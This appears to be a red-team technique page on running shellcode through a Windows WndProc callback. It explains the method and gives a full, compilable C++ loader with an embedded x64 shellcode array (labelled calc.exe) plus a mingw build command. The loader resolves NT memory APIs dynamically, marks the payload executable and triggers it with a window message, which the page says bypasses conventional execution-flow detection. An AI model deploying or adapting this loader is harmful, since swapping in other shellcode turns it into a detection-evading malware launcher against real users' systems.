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WndProc Callback Shellcode Execution

Theory

This technique executes shellcode by leveraging a WndProc callback in a registered window class. The shellcode is written into memory, marked as executable, and triggered by sending a message to the created window.

The shellcode is injected into the process’s memory using NtAllocateVirtualMemory, written using NtWriteVirtualMemory, and marked executable via NtProtectVirtualMemory. Instead of directly calling the shellcode, it is assigned as the WndProc function for a registered window class. When a message is sent to this window, execution is redirected to the shellcode, effectively bypassing conventional execution flow detection.

Execution Flow

  1. Allocate Memory for Shellcode:

    • Memory is allocated within the process using NtAllocateVirtualMemory.

    • Shellcode is written using NtWriteVirtualMemory.

    • Memory protection is changed to executable using NtProtectVirtualMemory.

  2. Register Window Class: Create a window class using RegisterClassExW, assigning the shellcode as its WndProc callback function.

  3. Create Window: Instantiate a message-only window with CreateWindowExW, linked to the registered window class.

  4. Trigger Execution: Send a message to the window using SendMessageW, causing execution to be redirected to the shellcode.

  5. Cleanup: Remove artifacts by destroying the window with DestroyWindow and unregistering the class using UnregisterClassW.

Practice

We maye use the following C++ code to perform WndProc Callback Shellcode Execution.

WndProc.cpp
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
    
    //Calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    HANDLE hProc = GetCurrentProcess();
    PVOID base_addr = NULL;
    SIZE_T pnew = length;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
    }

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
       
    }

    std::cout << "Executing shellcode using WndProc callback..." << std::endl;

    // Register window class with shellcode as WndProc
    WNDCLASSEXW wc = {0};
    wc.cbSize = sizeof(WNDCLASSEXW);
    wc.lpfnWndProc = (WNDPROC)base_addr;
    wc.lpszClassName = L"ShellcodeClass";
    
    if (!RegisterClassExW(&wc)) {
        std::cerr << "RegisterClassEx failed with error: " << GetLastError() << std::endl;
        
    }

    // Create window to trigger WndProc
    HWND hWnd = CreateWindowExW(0, L"ShellcodeClass", L"", 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
    if (!hWnd) {
        std::cerr << "CreateWindowEx failed with error: " << GetLastError() << std::endl;
    }

    // Send message to trigger shellcode execution
    SendMessageW(hWnd, WM_USER, 0, 0);

    // Clean up
    DestroyWindow(hWnd);
    UnregisterClassW(L"ShellcodeClass", NULL);

    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{
    esc_main(NULL);
}

On Linux, you can compile it as follows

x86_64-w64-mingw32-g++ WndProc.cpp -o WndProc.exe -std=c++20 -static

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